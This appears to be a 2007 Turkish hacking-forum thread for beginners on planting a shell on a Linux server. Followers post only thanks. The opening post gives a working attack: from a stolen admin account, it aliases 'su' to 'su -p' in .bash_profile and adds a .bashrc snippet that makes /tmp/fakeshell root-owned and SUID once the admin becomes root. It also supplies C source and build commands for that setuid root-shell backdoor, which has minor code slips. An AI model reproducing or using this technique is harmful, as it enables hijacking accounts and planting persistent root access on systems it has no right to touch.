|
|||||||
| Yeni Başlayanlar Yeni başlayanlar sorularını,sorunlarınız. |
| ||
![]() |
|
|
Seçenekler | Stil |
![]() servera nasıl shell sokulur ? Buyurun .... | ||||||||||
|
(#1)
|
||||||||||
|
[10]Yeni Üye
![]() Mesaj Sayısı: 136
Açtığı Konu: 21
Level: 10 [ ![]() ]Paylaşım: 0 / 242 Üyelik tarihi: Apr 2007
Kullanıcı No: 8829
Tecrübe Puanı: 25
REP Puanı : 174
REP Seviyesi :
![]() ![]() |
servera nasıl shell sokulur ? Buyurun .... -
07-09-2007
Linux temel programlarından biri de "su" programıdır. "su", hem sistem yönetisi olmak için hem de diğer kullanıcı olmak için kullanılır. Fakat bu programda teknik bir açıktan ziyade mantıksal bir hata bulunmaktadır. Ya da bir ikilem. Linux bir makinada "man su" dediğiniz zaman. -m, --preserve-environment do not reset environment variables -p same as -m göreceksiniz. Bunun anlamı "su -p" yaparak çalıştırdığınız zaman ve root sifresini doğru girdiginiz zaman kullanıcı çevresel değişkenleri eski kullanıcınki olarak kalacaktir. yani "su -p" deyip root olduğunuz zaman "export" veya set dediğiniz zaman ki çevresel değişkenler ile "root" olmadan önceki çevresel değişkenler aynı olacaktir. Peki hata bunun neresinde? Hata root olduğunuz zaman eğer bash kabuğu kullanıyorsanız root olacak olan kişinin dizini içindeki ".bashrc" scripti çalışıyor olmasıdır. Yani "ahmet" kullanısı "su -p" diyerek root oluyorsa (tabi ki sifreyi girerek) ahmet kullanıcısının home dizini içindeki .bashrc calisacaktir. Normal şartlarda "su" veya "su -" şeklinde çalıştırsanız "root" kullanıcısının home dizini içindeki .bashrc çalışmaktadır. Bunun nedeni -p ya da -m parametresi nedeniyle HOME= çevresel değişkeni root un home dizini yerine ahmet'in home dizinini gösteriyor olması ve HOME değişleninin gösterdiği dizindeki .bashrc dosyasinin çalışıyor olması. Şimdi şöyle bir senaryo düşünelim. ahmet sistem yöneticisi ve genellikle sisteme ahmet kullanıcısıyla bağlanıp sonra "su" komutunu kullanarak root olmakta. Eğer ahmet kullanıcısı ahmet hesabını bir şekilde çaldırırsa ya da farkında olmadan başkası ahmet sifresini çözmüş ise (bunun tonlarca yöntemi var) ve ahmet hic farketmeden ahmet kullanıcısı üzerinden root oluyorsa, hesabı çalan kişi ahmet'in home dizini içinde birkaç dosyayı değiştirerek root şifresini bilmeden root olabilir. Nasıl ? Şöyle. ahmet sisteme bağlandığı zamnan yani ssh ile ya da telnet ahmet'in home dizini içindeki .bash_profile dosyasi çalışır. Bu dosyanın en başına; alias su='su -p' eklenir. Sonra yine ahmet'in home dizini içinde .bashrc dosyasi içine ise WHO=`whoami` if [ $WHO = "root" ]; then chmod 4755 /tmp/fakeshell chown root:root /tmp/fakeshell fi eklenir. /tmp/fakeshell ise sizin C ile yazdiginiz shell calistiran bir binary. Hadi onu da ekleyelim vi fakeshell.c ------------- c dosyası ------------- #include int main(void){ char **args = {"sh", 0}; setuid(0); execve("/bin/sh", args, (char **)0); } ----------c dosyası sonu ------------ gcc -c fakeshell.c gcc -o fakeshell fakeshell.o cp fakeshell /tmp/fakeshell Tuzak kuruldu şimdi ahmet'in hiç şüphelenmeden sisteme bağlanmasını bekliyoruz. Ahmet sisteme bağlanıyor ve .bash_profile çalışıyor. alias su='su -p' aktif hale geliyor ve ahmet eger "su" komutunu calistirirsa su -p komutu çalışacak daha sonra ahmet yine aynı şekilde "su" komutunu çalıtırıyor (ama arka planda su -p çalışıyor ) ahmet root sifresini giriyor ve root oluyor. Fakat root olduktan sınra ahmet kullanıcısın içindeki .bashrc script i çalışıyor ve root olarak /tmp/fakeshell dosyasini suid ve kullanıcısını ve grubunu sırasiyla root, root yapıyor. daha sonra ahmet kullanıcısını çalan bir kişi hiç su programını çalıştırmadan /tmp/fakeshell programını çalıştırarak root oluyor. ![]() [/font][/center] |
|||||||||
|
||||||||||
|
|
![]() Cevap: servera nasıl shell sokulur ? Buyurun .... | ||||||||||
|
(#2)
|
||||||||||
|
[10]Yeni Üye
![]() Mesaj Sayısı: 463
Açtığı Konu: 22
Level: 19 [ ![]() ![]() ]Paylaşım: 47 / 473 Üyelik tarihi: Jun 2007
Kullanıcı No: 66891
Nerden: cehennemden
Tecrübe Puanı: 30
REP Puanı : 100
REP Seviyesi :
![]() ![]() |
bilgi için çok sağoll kardeş
|
|||||||||
|
||||||||||
![]() Cevap: servera nasıl shell sokulur ? Buyurun .... | ||||||||||
|
(#3)
|
||||||||||
|
[10]Yeni Üye
![]() Mesaj Sayısı: 36
Açtığı Konu: 4
Level: 4 [ ![]() ![]() ]Paylaşım: 0 / 94 Üyelik tarihi: Jun 2007
Kullanıcı No: 83463
Tecrübe Puanı: 20
REP Puanı : 100
REP Seviyesi :
![]() ![]() |
Paylasımın icin thx
|
|||||||||
|
||||||||||
![]() Cevap: servera nasıl shell sokulur ? Buyurun .... | ||||||||||
|
(#4)
|
||||||||||
|
[10]Yeni Üye
Mesaj Sayısı: 108
Açtığı Konu: 2
Level: 9 [ ]Paylaşım: 0 / 210 Üyelik tarihi: Jul 2007
Kullanıcı No: 101933
Tecrübe Puanı: 22
REP Puanı : 100
REP Seviyesi :
![]() ![]() |
emeğine sağlık
|
|||||||||
|
||||||||||
![]() Cevap: servera nasıl shell sokulur ? Buyurun .... | ||||||||||
|
(#5)
|
||||||||||
|
[10]Yeni Üye
![]() Mesaj Sayısı: 1,722
Açtığı Konu: 93
Level: 34 [ ![]() ![]() ]Paylaşım: 254 / 847 Üyelik tarihi: Jun 2007
Kullanıcı No: 58112
Yaş: 15
Tecrübe Puanı: 55
REP Puanı : 137
REP Seviyesi :
![]() ![]() |
bi bakekkk
|
|||||||||
|
||||||||||
![]() |
| Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir) | |
| Seçenekler | |
| Stil | |
|
|